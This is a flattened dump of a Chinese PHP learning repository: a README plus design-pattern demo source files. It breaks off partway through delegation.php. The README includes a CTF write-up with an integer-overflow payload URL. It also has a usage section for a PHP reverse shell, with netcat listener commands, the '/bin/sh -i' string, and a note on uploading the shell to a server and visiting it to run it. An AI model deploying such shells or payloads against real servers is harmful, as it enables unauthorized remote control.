├── README.md ├── abstractFactory.php ├── adapter.php ├── bridge.php ├── builder.php ├── command.php ├── composite.php ├── coroutine.php ├── ctf.jpeg ├── datamap.php ├── decorator.php ├── delegation.php ├── dependInject.php ├── dutylist.php ├── facade.php ├── factory.php ├── findMaxStr.php ├── fluent.php ├── initFrame ├── README.md ├── action │ ├── Action.class.php │ └── TestAction.class.php ├── cache │ ├── 1d7c7a527b6335cc7a623305ca940e1findex.tpl.html │ └── f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.html ├── config │ ├── config.xml │ └── profile.inc.php ├── doc │ └── initFrame.png ├── includes │ ├── Parse.class.php │ ├── Template.class.php │ ├── cache.inc.php │ ├── init.inc.php │ └── template.inc.php ├── index.php ├── templates │ ├── index.tpl │ └── test.tpl ├── templates_c │ ├── 1d7c7a527b6335cc7a623305ca940e1findex.tpl.php │ └── f4edc3e7d90fc7c3f919d60aee1bb7d4test.tpl.php └── test.php ├── iterator.php ├── mediator.php ├── memento.php ├── merge_ip.php ├── moreInstance.php ├── nullobject.php ├── observer.php ├── outsort.php ├── php-reverse-shell.php ├── pool.php ├── prototype.php ├── proxy.php ├── register.php ├── repository.php ├── servicelocator.php ├── sharePool.php ├── simpleFactory.php ├── singleInstance.php ├── specification.php ├── state.php ├── staticFactory.php ├── strategy.php ├── template.php ├── timeQueue.class.php ├── timeTask.php ├── visitor.php ├── xsshtml.class.php └── yield_sort.php /README.md: -------------------------------------------------------------------------------- 1 | # PHP 2 | ### 关于内存泄露与垃圾回收 3 | ```php 4 | 'x', 54 | 'cnt' => 8, 55 | ) 56 | ``` 57 | 58 | ### yield_sort.php 使用php模仿python的yield归并排序2个有序序列 59 | ``` 60 | 将已有序的子序列合并,得到完全有序的序列. 61 | 例: 62 | $a=[1,3,5,7,9,18,19,20]; 63 | $b=[2,4,6,8,22]; 64 | ➜ PHP git:(master) ✗ php yield_sort.php 65 | 1--->2--->3--->4--->5--->6--->7--->8--->9--->18--->19--->20--->22 66 | 场景1: 67 | 前端负载均衡,nginx日志分散在多个机器上时,有序合并所有日志 68 | ``` 69 | 70 | ### outsort.php 排序多个有序数组为一个有序数组(外排序) 71 | ``` 72 | $a = [1,5,7,11,25,78,90,102]; 73 | $b = [2,6,8,11,34,42,89,100,120,140]; 74 | $c = [4,9,13,27,55,72,92,102,111]; 75 | $d = [3,13,19,21,66,85,99,108,138]; 76 | 77 | 执行合并并且排序:php outsort.php 78 | 79 | 注:outsort.php是demo,这是一个不考虑内存大小的暴力方法,所有并非在外排序,方便演示的demo,而实际是不是这样的, 80 | 如果数组内容非常大是不可以这么排序的,$save_arr 在达到指定的count之后需要清空$save_arr并释放内存,将排好序的内容写入硬盘, 81 | 而$a,$b,$c,$d也是做演示,实际应该将文件分块以后逐步对小的文件块排序并保存,在读取时也是依次读取适当的内存数据,会有频繁的磁盘读写, 82 | 这个地方演示省去了。外排序即使文件再大通过分解最终合并也会完成排序,只是时间问题,当然相对 83 | 内排序要慢的多,而内排序是以空间换取时间的一种方式。(例如彩虹表暴力破解也是以空间换取时间的一种方式而已) 84 | 85 | 外排序的算法步骤如下: 86 | 假设文件需要分成k块读入,需要从小到大进行排序。 87 | (1)依次读入每个文件块,在内存中对当前文件块进行排序(应用恰当的内排序算法)。此时,每块文件相当于一个由小到大排列的有序队列。 88 | (2)在内存中建立一个最小值堆,读入每块文件的队列头。 89 | (3)弹出堆顶元素,如果元素来自第i块,则从第i块文件中补充一个元素到最小值堆。弹出的元素暂存至临时数组。 90 | (4)当临时数组存满时,将数组写至磁盘,并清空数组内容。 91 | (5)重复过程(3)、(4),直至所有文件块读取完毕。 92 | ``` 93 | 94 | 95 | ### timeQueue.class.php 96 | #### 基于redis的定时任务 97 | ``` 98 | $obj = new timeQueue(); 99 | //添加任务并制定多少秒之后执行 100 | $obj->add_task('test',[1,2],3); 101 | $obj->add_task('demo',[1,2],2); 102 | $obj->add_task('bug',[1,2],12); 103 | $obj->add_task('test',[3,4],1); 104 | $obj->add_task('test',[5,6],8); 105 | //回调函数 106 | $func = function ($args){ 107 | var_dump($args); 108 | }; 109 | //设置需要监听的任务 110 | $obj->listen_task('test',$func); 111 | $obj->listen_task('demo',$func); 112 | //移除一个已经注册了的任务 113 | $obj->remove_task('bug'); 114 | $obj->run(); 115 | 116 | --------------- 117 | 在相应时间之后,相关事件开始运行 118 | 119 | ``` 120 | 121 | ### timeTask.php 利用环形队列的思想实现一个定时任务 122 | ``` 123 | 功能与上面timeQueue.class.php一样,都是计时器定时任务的实现, 124 | 思想有所区别,上面是基于redis的zAdd实现,架构师之路上曾提出一个环形队列的思想, 125 | timeTask.php则是利用环形队列的思想代码实现,在一个闭合的圆环上形成3600个节点,每个节点上 126 | 维护一个index的值(需要旋转的圈数),实际环境中task应该固化而不是存在一个变量数组里, 127 | 因为假设进程奔溃,那么存储的task就消失了。当然,只是思想,代码可以继续完善 128 | 129 | //参数分别为:所执行的task,参数,延迟的时间 130 | timeTask::instance()->add_event('lock',[1,2,1],1); 131 | timeTask::instance()->add_event('root',[8,9,1],1); 132 | timeTask::instance()->add_event('test',[3,4,3],3); 133 | timeTask::instance()->add_event('test',[7,8,10],10); 134 | //设置回调函数 135 | $func = function($args){ 136 | echo date('Y-m-d H:i:s').",当前正在执行第".$args[2]."s任务...\n"; 137 | var_export($args); 138 | echo "\n\n"; 139 | }; 140 | timeTask::instance()->listen_task('test',$func); 141 | timeTask::instance()->listen_task('lock',$func); 142 | timeTask::instance()->listen_task('root',$func); 143 | #移除一个已经注册的任务 144 | timeTask::instance()->remove_task('root'); 145 | 146 | timeTask::instance()->run(); 147 | 148 | 执行结果: 149 | ➜ ~ php timeTask.php 150 | 2017-03-24 09:19:02,当前正在执行第1s任务... 151 | array ( 152 | 0 => 1, 153 | 1 => 2, 154 | 2 => 1, 155 | ) 156 | 157 | 2017-03-24 09:19:04,当前正在执行第3s任务... 158 | array ( 159 | 0 => 3, 160 | 1 => 4, 161 | 2 => 3, 162 | ) 163 | 164 | 2017-03-24 09:19:11,当前正在执行第10s任务... 165 | array ( 166 | 0 => 7, 167 | 1 => 8, 168 | 2 => 10, 169 | ) 170 | 171 | 172 | ``` 173 | 174 | ### PHP协程 coroutine.php 175 | ``` 176 | php coroutine.php 177 | 多任务调度器 178 | task A 0 179 | task BBB 0 180 | task A 1 181 | task BBB 1 182 | task A 2 183 | task BBB 2 184 | task A 3 185 | task BBB 3 186 | task A 4 187 | task BBB 4 188 | task BBB 5 189 | task BBB 6 190 | task BBB 7 191 | task BBB 8 192 | task BBB 9 193 | task BBB 10 194 | task BBB 11 195 | task BBB 12 196 | task BBB 13 197 | task BBB 14 198 | 两个任务是交替运行的, 而在第二个任务结束后, 只有第一个任务继续运行. 199 | ``` 200 | 201 | ### xsshtml.class.php filter xss php class ,xss过滤类 202 | ``` 203 | Usage: 204 | '; 207 | $xss = new XssHtml($html); 208 | $html = $xss->getHtml(); 209 | ?> 210 | PHP Version > 5.0 211 | IE7+ or other browser 212 | collect from phith0n 213 | ``` 214 | 215 | ### 一道PHP CTF 题目 216 | ``` 217 | 225 |

226 | 227 | 分析: 228 | 按照正常逻辑是无法获得flag的,but,php是一个神奇的语言。 229 | 官方曾发布过一个补丁: 230 | https://bugs.php.net/bug.php?id=69892 231 | 问题就出在这儿: 232 | 233 | 测试: 234 | php -r "var_dump([0 => 0] === [0x100000000 => 0]);" 235 | bool(true) 236 | 返回了true,整形溢出 237 | 构造payload: 238 | http://localhost/test.php?user[1]=password&user[4294967296]=admin 239 | 2^32 == 0x100000000 == 4294967296 所以是:user[4294967296] 240 | 所有条件均符合,flag获得,如下图: 241 | ``` 242 | ![](https://github.com/LockGit/PHP/blob/master/ctf.jpeg) 243 | 244 | 245 | ### php-reverse-shell.php 一个反弹shell的php程序 246 | ``` 247 | 终端1: 248 | Mac环境: 249 | ➜ ~ nc -l -v -n 0 1234 250 | 251 | Linux: 252 | nc -v -n -l -p 1234 253 | 254 | 255 | 终端2: 256 | --- 257 | 注释: 258 | $shell = 'uname -a; w; id; /bin/sh -i'; 259 | man sh 260 | -i If the -i option is present, the shell is interactive. 261 | 忘记了这个参数的作用了,sh -i 是激活交互的方式 262 | --- 263 | 264 | 执行: 265 | php php-reverse-shell.php 266 | 现实环境中上传shell后,访问让其运行即可 267 | 程序会fork一个子进程,并尝试连接某个ip的某个端口 268 | 测试时用的是本地的127.0.0.1 1234端口 269 | ➜ ~ php php-reverse-shell.php 270 | Successfully opened reverse shell to 127.0.0.1:1234 271 | ➜ ~ 272 | 273 | 此时终端1立即获得一个shell的交互界面,尝试去任意命运执行吧 274 | ``` 275 | 276 | ### merge_ip.php 合并相同ip段 277 | ``` 278 | 段的合并可能存在子集,交集等情况。不考虑子网掩码的问题 279 | 合并前: 280 | 1.1.1.1 281 | 2.2.2.2 282 | 3.3.3.3 283 | 1.1.1.1-1.1.1.10 284 | 1.1.1.5-1.1.1.15 285 | 255.1.1.1-255.1.1.10 286 | 287 | 合并后: 288 | 1.1.1.1-1.1.1.15 289 | 2.2.2.2 290 | 3.3.3.3 291 | 255.1.1.1-255.1.1.10 292 | ``` 293 | 294 | ### initFrame 一个初学PHP时写的低级别框架 295 | 1.支持自解析: 296 | 变量, 297 | 数组, 298 | if, 299 | for, 300 | 注释, 301 | 等模板语法 302 | + [initFrame初始代码](https://github.com/LockGit/PHP/tree/master/initFrame) 303 | 304 | ### -----------分割线(设计模式篇)------------- 305 | ``` 306 | 学设计模式的初衷,就是知道有这么个玩意儿?脑子里有这么个印象,也不会生套它! 307 | 如果设计模式不符合你的习惯对你阅读代码反而是不利的! 308 | 硬搬设计模式是错误的。 309 | ``` 310 | 311 | ### abstractFactory.php 抽象工厂 312 | ``` 313 | * 抽象工厂模式为一组相关或相互依赖的对象创建提供接口,而无需指定其具体实现类。 314 | * 抽象工厂的客户端不关心如何创建这些对象,只关心如何将它们组合到一起。 315 | ``` 316 | 317 | ### builder.php 构造者模式 318 | ``` 319 | 构造者不需要知道具体实现细节 320 | ``` 321 | 322 | ### factory.php 工厂方法模式 323 | ``` 324 | * 定义一个创建对象的接口, 325 | * 但是让子类去实例化具体类。工厂方法模式让类的实例化延迟到子类中。 326 | ``` 327 | 328 | ### moreInstance.php 多例模式 329 | ``` 330 | * 多例模式和单例模式类似,但可以返回多个实例。 331 | * 有多个数据库连接,MySQL、SQLite、Postgres,又或者有多个日志记录器,分别用于记录调试信息和错误信息,这些都可以使用多例模式实现。 332 | ``` 333 | 334 | ### pool.php 对象池模式 335 | ``` 336 | * 对象池可以用于构造并且存放一系列的对象并在需要时获取调用 337 | ``` 338 | 339 | ### prototype.php 原型模式 340 | ``` 341 | * 原型模式是先创建好一个原型对象,然后通过clone原型对象来创建新的对象。 342 | * 适用于大对象的创建,因为创建一个大对象需要很大的开销,如果每次new就会消耗很大,原型模式仅需内存拷贝即可。 343 | ``` 344 | 345 | ### simpleFactory.php 简单工厂模式 346 | ``` 347 | * 简单工厂的作用是实例化对象,而不需要客户了解这个对象属于哪个具体的子类。 348 | * 简单工厂实例化的类具有相同的接口或者基类,在子类比较固定并不需要扩展时,可以使用简单工厂。 349 | ``` 350 | 351 | ### singleInstance.php 单例模式 352 | ``` 353 | * 只实例化一次 354 | ``` 355 | 356 | ### staticFactory.php 静态工厂模式 357 | ``` 358 | * 与简单工厂类似,该模式用于创建一组相关或依赖的对象。 359 | * 不同之处在于静态工厂模式使用一个静态方法来创建所有类型的对象。 360 | ``` 361 | 362 | ### composite.php 组合模式 363 | ``` 364 | * 必须存在不可分割的基本元素。 365 | * 组合后的物体任然可以被组合。 366 | ``` 367 | 368 | ### datamap.php 数据映射模式 369 | ``` 370 | * 目的是让持久化数据存储层、驻于内存的数据表现层、以及数据映射本身三者相互独立、互不依赖。 371 | * 最典型的数据映射模式例子就是数据库 ORM 模型 类似。 372 | ``` 373 | 374 | ### decorator.php 装饰器模式 375 | ``` 376 | * 装饰器模式能够从一个对象的外部动态地给对象添加功能。 377 | ``` 378 | 379 | ### dependInject.php 依赖注入模式 380 | ``` 381 | * 依赖注入模式 382 | * 实现调用者与被调用者的解耦 383 | ``` 384 | 385 | ### facade.php 外观模式(门面模式) 386 | ``` 387 | * 用于为子系统中的一组接口提供一个一致的界面。门面模式定义了一个高层接口,这个接口使得子系统更加容易使用。 388 | * 引入门面角色之后,用户只需要直接与门面角色交互,用户与子系统之间的复杂关系由门面角色来实现,从而降低了系统的耦合度。 389 | ``` 390 | 391 | ### fluent.php 流接口模式 392 | ``` 393 | * 流接口(Fluent Interface)是指实现一种面向对象的、能提高代码可读性的 API 的方法。 394 | * 其目的就是可以编写具有自然语言一样可读性的代码,我们对这种代码编写方式还有一个通俗的称呼 —— 方法链。 395 | * 比如Sql查询构建器 396 | ``` 397 | 398 | ### proxy.php 代理模式 399 | ``` 400 | * 代理模式 401 | * 为其他对象提供一种代理以控制对这个对象的访问。 402 | ``` 403 | 404 | ### register.php 注册模式 405 | ``` 406 | * 也叫做注册树模式,注册器模式。 407 | * 为应用中经常使用的对象创建一个中央存储器来存放这些对象 —— 通常通过一个只包含静态方法的抽象类来实现(或者通过单例模式)。 408 | ``` 409 | 410 | ### command.php 命令行模式 411 | ``` 412 | * 命令行模式 413 | * 将请求封装成对象,从而使你可用不同的请求对客户进行参数化;对请求排队或记录请求日志,以及支持可撤消的操作。 414 | ``` 415 | 416 | ### dutylist.php 责任链模式 417 | ``` 418 | * 责任链模式(职责链) 419 | * 责任链模式是一种对象的行为模式,在责任链模式里,很多对象由每一个对象对其下家的引用而连接起来形成一条链。 420 | * 请求在这个链上传递,直到链上的某一个对象决定处理此请求。 421 | * 发出这个请求的客户端并不知道链上的哪一个对象最终处理这个请求,这使得系统可以在不影响客户端的情况下动态的重新组织和分配责任。 422 | */ 423 | ``` 424 | 425 | ### iterator.php 迭代器模式 426 | ``` 427 | * 提供一种方法访问一个容器(Container)对象中各个元素,而又不需暴露该对象的内部细节。 428 | * PHP标准库(SPL)中提供了迭代器接口 Iterator,要实现迭代器模式,实现该接口即可。 429 | * 参考:http://www.cnblogs.com/chenssy/p/3250409.html 430 | ``` 431 | 432 | ### mediator.php 中介者模式 433 | ``` 434 | * 中介者模式 435 | * 用一个中介对象来封装一系列的对象交互,使各对象不需要显式地相互引用从而使其耦合松散,而且可以独立地改变它们之间的交互。 436 | ``` 437 | 438 | ### mediator.php 备忘录模式 439 | ``` 440 | * 又叫快照模式(Snapshot)或 Token 模式 441 | * 备忘录模式的用意是在不破坏封装性的前提下,捕获一个对象的内部状态。 442 | * 并在该对象之外保存这个状态,这样就可以在合适的时候将该对象恢复到原先保存的状态。 443 | ``` 444 | 445 | ### nullobject.php 空对象模式 446 | ``` 447 | * 简化客户端代码 448 | * 减少空指针异常风险 449 | * 更少的条件控制语句以减少测试用例 450 | ``` 451 | 452 | ### observer.php 观察者模式 453 | ``` 454 | * 对象的一对多依赖,这样一来,当一个对象改变状态时,它的所有依赖者都会收到通知并自动更新! 455 | ``` 456 | 457 | ### specification.php 规格模式 458 | ``` 459 | * 可以认为是组合模式的一种扩展。 460 | * 有时项目中某些条件决定了业务逻辑,这些条件就可以抽离出来以某种关系(与、或、非)进行组合,从而灵活地对业务逻辑进行定制。 461 | ``` 462 | 463 | 464 | ### state.php 状态模式 465 | ``` 466 | * 状态模式当一个对象的内在状态改变时允许改变其行为,这个对象看起来像是改变了其类。 467 | * 状态模式主要解决的是当控制一个对象状态的条件表达式过于复杂时的情况。把状态的判断逻辑转移到表示不同状态的一系列类中,可以把复杂的判断逻辑简化。 468 | ``` 469 | 470 | ### state.php 策略模式 471 | ``` 472 | * 实现某一个功能有多种算法或者策略,我们可以根据环境或者条件的不同选择不同的算法或者策略来完成该功能。 473 | * 定义了算法族,分别封装起来,让它们之间可以互相替换,此模式让算法的变化独立于使用算法的客户。 474 | ``` 475 | 476 | ### template.php 模板方法模式 477 | ``` 478 | * 模板方法模式又叫模板模式,该模式在一个方法中定义一个算法的骨架,而将一些步骤延迟到子类中。 479 | * 模板方法使得子类可以在不改变算法结构的情况下,重新定义算法中的某些步骤。 480 | ``` 481 | 482 | ### visitor.php 访问者模式 483 | ``` 484 | * 访问者模式表示一个作用于某对象结构中的各元素的操作。 485 | * 它使你可以在不改变各元素类的前提下定义作用于这些元素的新操作。 486 | ``` 487 | 488 | ### delegation.php 委托模式 489 | ``` 490 | * 委托是对一个类的功能进行扩展和复用的方法。 491 | * 它的做法是:写一个附加的类提供附加的功能,并使用原来的类的实例提供原有的功能。 492 | ``` 493 | 494 | ### repository.php 资源库模式 495 | ``` 496 | * Repository 模式是架构模式,在设计架构时,才有参考价值。 497 | * 应用 Repository 模式所带来的好处,远高于实现这个模式所增加的代码。只要项目分层,都应当使用这个模式。 498 | ``` 499 | 500 | ### servicelocator.php 服务定位模式 501 | ``` 502 | * 实现服务使用者和服务的解耦,无需改变代码而只是通过简单配置更服服务实现。 503 | ``` 504 | 505 | ### sharePool.php 享元模式 506 | ``` 507 | add 在经常听到的设计模式(值-对象模式,代理模式,工厂模式,适配器模式,桥接模式)之外的一个设计模式(享元模式) 508 | 模式分析: 509 |   享元模式是一个考虑系统性能的设计模式,通过使用享元模式可以节约内存空间,提高系统的性能。 510 |   享元模式的核心在于享元工厂类,享元工厂类的作用在于提供一个用于存储享元对象的享元池,用户需要对象时,首先从享元池中获取,如果享元池中不存在, 511 | 则创建一个新的享元对象返回给用户,并在享元池中保存该新增对象。 512 | 513 | 优点 514 |   享元模式的优点在于它可以极大减少内存中对象的数量,使得相同对象或相似对象在内存中只保存一份。 515 |   享元模式的外部状态相对独立,而且不会影响其内部状态,从而使得享元对象可以在不同的环境中被共享。 516 | 517 | 缺点 518 |   享元模式使得系统更加复杂,需要分离出内部状态和外部状态,这使得程序的逻辑复杂化。 519 |   为了使对象可以共享,享元模式需要将享元对象的状态外部化,而读取外部状态使得运行时间变长。 520 | ``` 521 | -------------------------------------------------------------------------------- /abstractFactory.php: -------------------------------------------------------------------------------- 1 | '; 81 | } 82 | } 83 | 84 | /** 85 | * Class BlackDog 86 | * 具体产品 87 | */ 88 | class BlackDog extends dog{ 89 | public function voice() { 90 | echo 'Black #000 dog voice....
'; 91 | } 92 | } 93 | 94 | 95 | /** 96 | * 抽象工厂模式为一组相关或相互依赖的对象创建提供接口,而无需指定其具体实现类。 97 | * 抽象工厂的客户端不关心如何创建这些对象,只关心如何将它们组合到一起。 98 | * Class Client 99 | */ 100 | class Client{ 101 | public static function main(){ 102 | self::run(new blackAnimalFactory()); 103 | self::run(new whiteAnimalFactory()); 104 | } 105 | 106 | private static function run(animalFactory $animalFactory){ 107 | $cat = $animalFactory->createCat(); 108 | $cat->voice(); 109 | 110 | $dog = $animalFactory->createDog(); 111 | $dog->voice(); 112 | } 113 | } 114 | 115 | Client::main(); 116 | 117 | -------------------------------------------------------------------------------- /adapter.php: -------------------------------------------------------------------------------- 1 | iterm = $iterm; 26 | } 27 | 28 | public function copy() { 29 | $this->iterm->copy(); 30 | } 31 | 32 | public function move() { 33 | echo 'can move text...'; 34 | } 35 | 36 | } 37 | 38 | $iterm = new iterm(); 39 | $tool = new tool($iterm); 40 | $tool->copy(); 41 | $tool->move(); 42 | -------------------------------------------------------------------------------- /bridge.php: -------------------------------------------------------------------------------- 1 | level = $level; 46 | $this->method = $method; 47 | } 48 | 49 | public function sending($content){ 50 | $staffArr = $this->level->staffData(); 51 | $res = $this->method->send($staffArr,$content); 52 | echo $res; 53 | } 54 | } 55 | 56 | $info = new SendInfo(new vimStaff(), new qq()); 57 | $info->sending( 'go home'); 58 | 59 | $info = new SendInfo(new commonStaff(), new qq()); 60 | $info->sending( 'go work'); -------------------------------------------------------------------------------- /builder.php: -------------------------------------------------------------------------------- 1 | pullDockerImage(); 19 | $builder->createContainer(); 20 | $builder->runContainer(); 21 | return $builder->getContainer(); 22 | } 23 | } 24 | 25 | 26 | interface BuilderInterface{ 27 | /** 28 | * 拉取镜像 29 | * @return mixed 30 | */ 31 | public function pullDockerImage(); 32 | 33 | /** 34 | * 创建容器 35 | * @return mixed 36 | */ 37 | public function createContainer(); 38 | 39 | /** 40 | * 运行容器 41 | * @return mixed 42 | */ 43 | public function runContainer(); 44 | 45 | /** 46 | * 获得这个容器 47 | * @return mixed 48 | */ 49 | public function getContainer(); 50 | } 51 | 52 | 53 | class buildCentOsContainer implements BuilderInterface{ 54 | public function pullDockerImage() { 55 | echo 'start pull docker image'.PHP_EOL; 56 | } 57 | 58 | public function createContainer() { 59 | echo 'start create container'.PHP_EOL; 60 | } 61 | 62 | public function runContainer() { 63 | echo 'run container'.PHP_EOL; 64 | } 65 | 66 | public function getContainer() { 67 | echo 'get container'.PHP_EOL; 68 | } 69 | } 70 | 71 | 72 | $leader = new leader(); 73 | $leader->build(new buildCentOsContainer()); -------------------------------------------------------------------------------- /command.php: -------------------------------------------------------------------------------- 1 | output = $console; 38 | } 39 | 40 | public function execute() { 41 | $this->output->write('hello world'); 42 | } 43 | } 44 | 45 | /** 46 | * 调用者 47 | * Class Invoker 48 | */ 49 | class Invoker { 50 | protected $command; 51 | 52 | public function setCommand(Command $cmd) { 53 | $this->command = $cmd; 54 | } 55 | 56 | /** 57 | * @return mixed 58 | */ 59 | public function run() { 60 | $this->command->execute(); 61 | } 62 | } 63 | 64 | 65 | $invokeObj = new Invoker(); 66 | $receiverObj = new Receiver(); 67 | $invokeObj->setCommand(new HelloCommand($receiverObj)); 68 | $invokeObj->run(); -------------------------------------------------------------------------------- /composite.php: -------------------------------------------------------------------------------- 1 | name = $name; 18 | } 19 | 20 | public function getName() { 21 | return $this->name; 22 | } 23 | 24 | abstract public function add(companyBase $c); 25 | 26 | abstract public function remove(companyBase $c); 27 | 28 | abstract public function show(); 29 | 30 | abstract public function work(); 31 | } 32 | 33 | class company extends companyBase { 34 | protected $items = []; 35 | 36 | public function add(companyBase $c) { 37 | $nodeName = $c->getName(); 38 | if (!isset($this->items[$nodeName])) { 39 | $this->items[$nodeName] = $c; 40 | } else { 41 | throw new Exception('node exits!'); 42 | } 43 | } 44 | 45 | public function remove(companyBase $c) { 46 | $nodeName = $c->getName(); 47 | if (isset($this->items[$nodeName])) { 48 | unset($this->items[$nodeName]); 49 | } else { 50 | throw new Exception('node not exits!'); 51 | } 52 | } 53 | 54 | public function show($deep = 0) { 55 | echo str_repeat('-', $deep) . '['.$this->name.']' . PHP_EOL; 56 | foreach ($this->items as $item) { 57 | echo $item->show($deep + 2); 58 | } 59 | } 60 | 61 | public function work($deep = 0) { 62 | foreach ($this->items as $item) { 63 | echo str_repeat("\t", $deep) . $this->name . PHP_EOL; 64 | $item->work($deep + 1); 65 | } 66 | } 67 | } 68 | 69 | 70 | class hr extends companyBase { 71 | public function add(companyBase $c) { 72 | exit('no add'); 73 | } 74 | 75 | public function remove(companyBase $c) { 76 | exit('no remove'); 77 | } 78 | 79 | public function show($deep = 0) { 80 | echo str_repeat('-', $deep) . $this->name . PHP_EOL; 81 | } 82 | 83 | public function work($deep = 0) { 84 | echo str_repeat("\t", $deep) . "人力资源部门的工作是为公司招聘人才" . PHP_EOL; 85 | } 86 | 87 | } 88 | 89 | class it extends companyBase{ 90 | public function add(companyBase $c) { 91 | exit('no add'); 92 | } 93 | 94 | public function remove(companyBase $c) { 95 | exit('no remove'); 96 | } 97 | 98 | public function show($deep = 0) { 99 | echo str_repeat('-', $deep) . $this->name . PHP_EOL; 100 | } 101 | 102 | public function work($deep = 0) { 103 | echo str_repeat("\t", $deep) . "it技术部门的工作是为公司解决it问题" . PHP_EOL; 104 | } 105 | } 106 | 107 | $company = new company('北京某科技开发公司'); 108 | $hr = new hr("人力资源部"); 109 | $it = new it("it技术部"); 110 | $company->add($hr); 111 | $company->add($it); 112 | 113 | //武汉分公司 114 | $c2 = new Company("武汉分公司"); 115 | $c2->add($hr); 116 | $c2->add($it); 117 | $company->add($c2); 118 | 119 | $company->show(); 120 | $company->work(); -------------------------------------------------------------------------------- /coroutine.php: -------------------------------------------------------------------------------- 1 | taskId = $taskId; 18 | $this->coroutine = $coroutine; 19 | } 20 | 21 | public function getTaskId() { 22 | return $this->taskId; 23 | } 24 | 25 | public function setSendValue($sendValue) { 26 | $this->sendValue = $sendValue; 27 | } 28 | 29 | public function run() { 30 | if ($this->beforeFirstYield) { 31 | $this->beforeFirstYield = false; 32 | return $this->coroutine->current(); 33 | } else { 34 | $retval = $this->coroutine->send($this->sendValue); 35 | $this->sendValue = null; 36 | return $retval; 37 | } 38 | } 39 | 40 | public function isFinished() { 41 | return !$this->coroutine->valid(); 42 | } 43 | } 44 | 45 | class Scheduler { 46 | protected $maxTaskId = 0; 47 | protected $taskMap = []; // taskId => task 48 | protected $taskQueue; 49 | 50 | public function __construct() { 51 | $this->taskQueue = new SplQueue(); 52 | } 53 | 54 | public function newTask(Generator $coroutine) { 55 | $tid = ++$this->maxTaskId; 56 | $task = new Task($tid, $coroutine); 57 | $this->taskMap[$tid] = $task; 58 | $this->schedule($task); 59 | return $tid; 60 | } 61 | 62 | public function schedule(Task $task) { 63 | $this->taskQueue->enqueue($task); 64 | } 65 | 66 | public function run() { 67 | while (!$this->taskQueue->isEmpty()) { 68 | $task = $this->taskQueue->dequeue(); 69 | $task->run(); 70 | 71 | if ($task->isFinished()) { 72 | unset($this->taskMap[$task->getTaskId()]); 73 | } else { 74 | $this->schedule($task); 75 | } 76 | } 77 | } 78 | } 79 | 80 | function task1() { 81 | for ($i=0; $i<5; $i++) { 82 | echo "task A $i \n"; 83 | yield; 84 | } 85 | } 86 | function task2() { 87 | for ($i=0; $i<15; $i++) { 88 | echo "task BBB $i\n"; 89 | yield; 90 | } 91 | } 92 | echo "\n\n多任务调度器 \n"; 93 | $scheduler = new Scheduler(); 94 | $scheduler->newTask(task1()); 95 | $scheduler->newTask(task2()); 96 | $scheduler->run(); 97 | -------------------------------------------------------------------------------- /ctf.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/LockGit/PHP/e712568b16428331058207edc8d984c5c8d7a7bb/ctf.jpeg -------------------------------------------------------------------------------- /datamap.php: -------------------------------------------------------------------------------- 1 | $name = $value; 18 | } 19 | 20 | public function __get($name) { 21 | return $this->$name; 22 | } 23 | } 24 | 25 | class userMap{ 26 | 27 | private $db; 28 | 29 | /** 30 | * userMap constructor. 31 | * @param Database $db 32 | */ 33 | public function __construct(Database $db) { 34 | $this->db = $db; 35 | } 36 | 37 | /** 38 | * @param user $user 39 | * @return mixed 40 | */ 41 | public function save(user $user){ 42 | $data = array( 43 | 'id'=>$user->id, 44 | 'name'=>$user->name, 45 | 'email'=>$user->email, 46 | ); 47 | 48 | if(null===($id=$user->id)){ 49 | unset($data['id']); 50 | return $this->db->insert($data); 51 | } 52 | return $this->db->update($data,array('id=?'=>$id)); 53 | } 54 | 55 | /** 56 | * @param $id 57 | * @return user|void 58 | */ 59 | public function findById($id){ 60 | $res = $this->db->findById($id); 61 | $row = $res->current(); 62 | if(0===count($row)){ 63 | return; 64 | } 65 | return $this->mapObject($row); 66 | } 67 | 68 | /** 69 | * @param $row 70 | * @return user 71 | */ 72 | protected function mapObject($row){ 73 | $user = new User(); 74 | $user->id = $row['id']; 75 | $user->name = $row['name']; 76 | $user->email = $row['email']; 77 | return $user; 78 | } 79 | } 80 | 81 | class Database{ 82 | 83 | public $currentArr; 84 | public function insert(){ 85 | echo 'I will insert data to db...'.PHP_EOL; 86 | } 87 | 88 | public function update(){ 89 | echo 'I will update data save to db...'.PHP_EOL; 90 | } 91 | 92 | /** 93 | * @param $id 94 | * @return array 95 | */ 96 | public function findById($id){ 97 | /** 98 | * select * from xxx where id=:id limit 1 99 | * get $res 100 | */ 101 | $res = ['id'=>1,'name'=>'lock','email'=>'xxxxx@gmail.com']; 102 | $this->currentArr = $res; 103 | return $this; 104 | } 105 | 106 | public function current(){ 107 | return $this->currentArr; 108 | } 109 | } 110 | 111 | $dataBaseObj = new Database(); 112 | $userMapObj = new userMap($dataBaseObj); 113 | $user = new user(); 114 | $user->id = 1; 115 | $user->name = 'lock'; 116 | $user->email = 'xxxxx@gmail.com'; 117 | $userMapObj->save($user); 118 | 119 | $find = $userMapObj->findById(1); 120 | var_export($find->id); 121 | var_export($find->name); 122 | var_export($find->email); 123 | -------------------------------------------------------------------------------- /decorator.php: -------------------------------------------------------------------------------- 1 | data = $data; 20 | } 21 | 22 | public function rendData() { 23 | return $this->data; 24 | } 25 | } 26 | 27 | 28 | abstract class decorator implements render { 29 | protected $wrapped; 30 | 31 | public function __construct(render $wrappable) { 32 | $this->wrapped = $wrappable; 33 | } 34 | } 35 | 36 | 37 | class rendXml extends decorator{ 38 | public function rendData() { 39 | $output = $this->wrapped->rendData(); 40 | foreach ($output as $val){ 41 | // 42 | } 43 | echo 'save xml'; 44 | } 45 | } 46 | 47 | class rendJson extends decorator{ 48 | public function rendData() { 49 | $output = $this->wrapped->rendData(); 50 | echo json_encode($output); 51 | } 52 | } 53 | 54 | $server = new webService(['name'=>'lock']); 55 | 56 | $xmlServer = new rendXml($server); 57 | echo $xmlServer->rendData(); 58 | 59 | $jsonServer = new rendJson($server); 60 | echo $jsonServer->rendData(); -------------------------------------------------------------------------------- /delegation.php: -------------------------------------------------------------------------------- 1 | info[$type] = $money; 21 | } 22 | 23 | /** 24 | * 相关操作(包括存款、取款操作) 25 | * @param $branktype 26 | * @return mixed 27 | */ 28 | public function brankWithdraw($branktype) { 29 | $obj = new $branktype; 30 | return $obj->brankMain($this->info); 31 | } 32 | } 33 | 34 | /** 35 | * 委托接口 36 | * Interface Delegate 37 | */ 38 | interface Delegate { 39 | public function brankMain($info); 40 | } 41 | 42 | /** 43 | * 存款操作类 44 | * Class brankDeposit 45 | */ 46 | class 